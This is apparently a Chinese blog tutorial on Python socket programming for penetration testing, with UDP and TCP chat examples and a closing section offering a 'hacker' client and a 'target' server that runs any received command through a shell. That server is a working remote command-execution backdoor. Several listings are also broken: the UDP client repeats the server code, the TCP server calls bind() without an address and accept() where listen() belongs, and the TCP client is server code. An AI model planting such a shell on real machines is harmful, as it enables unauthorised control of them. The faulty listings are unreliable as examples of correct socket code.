Python渗透测试编程基础——Socket网络编程

目录

一、socket编程简介

二、UDP编程

1.介绍

2.UDP编程socket方法说明

3.UDP编程实例

(1)服务端UDP_Server程序

(2)客户端UDP_Clinet程序

三、TCP编程

1.介绍

2.TCP编程socket方法说明

3.TCP编程实例

(1)服务端程序TCP_server

(2)客户端服务端程序TCP_client

4.TCP编程扩展

5.Python其他 Internet 模块

四、反弹shell

(1)客户端(黑客)

(2)服务端(目标)


一、socket编程简介

Socket又称"套接字",是计算机间进行网络通信的一套程序接口。

套接字:IP+端口

Socket通信是基于客户端/服务器结构(C/S),可隐藏复杂的TCP/IP协议族,只要遵循Socket的规定就可以进行网络程序开发,简单且开发效率高。

Python中的socket模块,提供了套接字编程的大部分功能。支持使用UDP和TCP协议进行网络通信。

二、UDP编程

1.介绍

UDP属于无连接协议,在向接收方发送信息时不需要建立连接,而是直接发送即可。

UDP的应用:域名系统;视频流;IP语音等。

UDP编程流程及常用的

socket模块方法如图所示。

2.UDP编程socket方法说明

①socket.socket([family[, type[, proto]]]): 创建Socket对象

family

说明

socket.AF_ INET

IPv4协议

socket.AF_ INET6

IPv6协议

socket.AF_UNIX

只能够用于单一的Unix系统进程间通信

type

说明

socket.SOCK_STREAM

流式socket , for TCP

socket.SOCK_DGRAM

数据报式socket , for UDP

socket.SOCK_RAW

原始套接字,普通的套接字无法处理ICMP、IGMP等网络报文,而SOCK_RAW可以;其次,SOCK_RAW也可以处理特殊的IPv4报文;此外,利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头。

socket.SOCK_SEQPACKET

可靠的连续数据包服务

proto

一般不填,默认为0

②bind(address):绑定地址

③sendto(string,address):发送数据把string发送给指定的address。其中address格式为(接收方IP地址,端口号)。address用元组表示(ip,port)

④recvfrom(bufsize[,flags]): 接收数据

bufsize 指定要接收的最大数据量。flag 提供有关消息的其他信息,通常可以忽略。

返回值是元组(data,address)。data为接收的字节串,address是数据发送方的套接字地址。

注意:socket在发送数据时,数据类型为字节串,发送时需将字符串转换为字节串,接收时需要将字节串转换为字符串。

⑤close{}关闭套接字

3.UDP编程实例

要求:基于UDP协议,使用socket编写编写一个服务端程序UDP_server.py,一个客户端程序UDP_client.py,实现客户端和服务端间的通信。

(1)服务端UDP_Server程序

import socket
# 1.创建socket对象,指明通信用的协议(ipv4,udp)
def server(server_ip,server_port):
    s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)  #指定AF_INET——IPV4和SOCK_DGRAM——UDP协议

# 2.绑定服务器ip地址和端口,哪个网卡和端口接收和发送数据
    s.bind((server_ip,server_port))

# 3.只要没退出,就一直接收和发送数据,//收到或者发送的是exit就退出
    while True:
        #接受数据
        recv_data,cli_addr = s.recvfrom(1024)
        recv_data = recv_data.decode('utf-8')
        print(f"接收:{recv_data}")
        if recv_data == 'exit':
            break
        #发送数据
        send_data = input("发送:")
        s.sendto(send_data.encode('utf-8'),cli_addr)
        if send_data == 'exit':
            break
# 4.关闭套接字
    s.close()

(2)客户端UDP_Clinet程序

#encoding:utf-8
import socket

# 1.创建socket对象,指明通信用的协议(ipv4,udp)
def server(server_ip,server_port):
    s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)  #指定AF_INET——IPV4和SOCK_DGRAM——UDP协议

# 2.绑定服务器ip地址和端口,哪个网卡和端口接收和发送数据
    s.bind((server_ip,server_port))

# 3.只要没退出,就一直接收和发送数据,//收到或者发送的是exit就退出
    while True:
        #接受数据
        recv_data,cli_addr = s.recvfrom(1024)
        recv_data = recv_data.decode('utf-8')
        print(f"接收:{recv_data}")
        if recv_data == 'exit':
            break

        #发送数据
        send_data = input("发送:")
        s.sendto(send_data.encode('utf-8'),cli_addr)
        if send_data == 'exit':
            break

# 4.关闭套接字
    s.close()

if __name__ == '__main__':
    server_ip = '127.0.0.1'
    server_port = 5555
    server(server_ip,server_port)

三、TCP编程

1.介绍

TCP一般用于可靠数据传输的场合,如文件传输、电子邮件等。TCP编程经常用到socket模块方法如图所示。

2.TCP编程socket方法说明

①socket.socket([family[, type[, proto]]]): 创建Socket对象

②bind(address):绑定地址

③listen(backlog):监听,等待客户端连接

backlog表示的是服务器拒绝(超过限制数量的)连接之前,操作系统可以挂起的最大连接数量。backlog也可以看作是"排队的数量"。

允许接待的总人数(socket允许的最大连接数)=排队的人数(backlog) +正在就餐的人数(服务器正在处理的socket连接数)

④accept():接受客户端的请求

⑤connect(address):客户端连接远程计算机

⑥send(data[,flags]):发送数据,可能数据未全部发送

⑦sendall(data[, flags]):发送全部数据,成功返回None,失败则抛出异常

⑧recv(bufsize[,flags]):接收数据

⑨close():关闭连接或套接字

3.TCP编程实例

基于TCP协议,使用socket编写编写一个服务端程序TCP_server.py,一个客户端程序TCP_client.py,实现客户端和服务端间的通信。

(1)服务端程序TCP_server

# encoding:utf-8
import socket

def recv_send(server_ip,server_port):
  # 1.创建socket对象,指明通信用的协议(ipv4,udp)
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

  # 2.绑定ip地址和端口,指明从哪个网卡和端口上接收数据
  s.bind()

  # 3.监听客户端请求
  s.accept()

  # 4.接受客户端请求
  conn,client_adr = s.accept()

  # 5.接收/发送数据
  while True:
      # 接收数据
      recv_data = conn.recv(1024).decode('utf-8')
      print(f"接收:{recv_data}")
      if recv_data == 'exit':
          break

      # 发送数据
      send_data = input("发送:")
      conn.send(send_data.encode('utf-8'))
      if send_data == 'exit':
          break

  # 6.关闭连接
  conn.close()

  # 7.关闭套接字
  s.close()


if __name__ == '__main__':
    server_ip = '127.0.0.1'
    server_port = '5555'
    recv_send(server_ip,server_port)

(2)客户端服务端程序TCP_client

#encoding:utf-8
import socket

def recv_send(server_ip, server_port):
    # 1.创建socket对象,致命IPV4与TCP协议
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    # 2.绑定地址
    s.bind((server_ip, server_port))

    # 3.监听客户端的请求
    s.listen()

    # 4.接受客户端请求
    conn,client_adr = s.accept()

    # 5.接受/发送数据
    while True:
        # 接收数据
        recv_data = conn.recv(1024).decode('utf-8')
        print(f"接收:{recv_data}")
        if recv_data == 'exit':       # 接收或者发送的是exit就退出
            break

        # 发送数据
        send_data = input("发送:")
        conn.send(send_data.encode('utf-8'))
        if send_data == 'exit':
            break

    # 6.关闭连接
    conn.close()

    # 7.关闭套接字
    s.close()

if __name__ == '__main__':
    server_ip = '127.0.0.1'
    server_port = 5555
    recv_send(server_ip, server_port)

4.TCP编程扩展

①Gethostname(): 获取本地主机名

②Gethostbyname():根据主机名获取ip地址

③Gethostbyaddr(): 根据ip地址获取主机名

④Getservbyport(): 根据端口号获取服务名

⑤Getservbyname(): 根据服务名获取端口号

5.Python其他 Internet 模块

以下列出了 Python 网络编程的一些重要模块:

协议

功能用处

端口号

Python 模块

HTTP

网页访问

80

httplib, urllib, xmlrpclib

NNTP

阅读和张贴新闻文章,俗称为"帖子"

119

nntplib

FTP

文件传输

20

ftplib, urllib

SMTP

发送邮件

25

smtplib

POP3

接收邮件

110

poplib

IMAP4

获取邮件

143

imaplib

Telnet

命令行

23

telnetlib

Gopher

信息查找

70

gopherlib, urllib

四、反弹shell

基于TCP编写反弹shell程序,包含客户端和服务器程序。需要使用subprocess模块

注意:中文windows系统使用GBK编码,需要decode('gbk')解码

(1)客户端(黑客)

# -*- coding: gbk -*-
import socket

def get_shell(server_ip, server_port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.connect((server_ip, server_port))

    while True:
        cmd = input("命令: ")
        s.send(cmd.encode('gbk'))

        if cmd == 'bye':
            break

        recv_result = s.recv(1024).decode('gbk')
        print(f"结果: {recv_result}")

    s.close()


if __name__ == '__main__':
    server_ip = '127.0.0.1'
    server_port = 6666
    get_shell(server_ip, server_port)

(2)服务端(目标)

# -*- coding: gbk -*-
import socket
from subprocess import Popen, PIPE

def execute_cmd(server_ip, server_port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((server_ip, server_port))

    s.listen()

    conn, client_addr = s.accept()
    while True:
        cmd = conn.recv(1024).decode('gbk')
        cmd_p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE)
        result = cmd_p.stdout.read()
        conn.send(result)

        if cmd == 'bye':
            break
    conn.close()

    s.close()

if __name__ == '__main__':
    server_ip = '127.0.0.1'
    server_port = 6666
    execute_cmd(server_ip, server_port)
  • 5
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

「已注销」

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值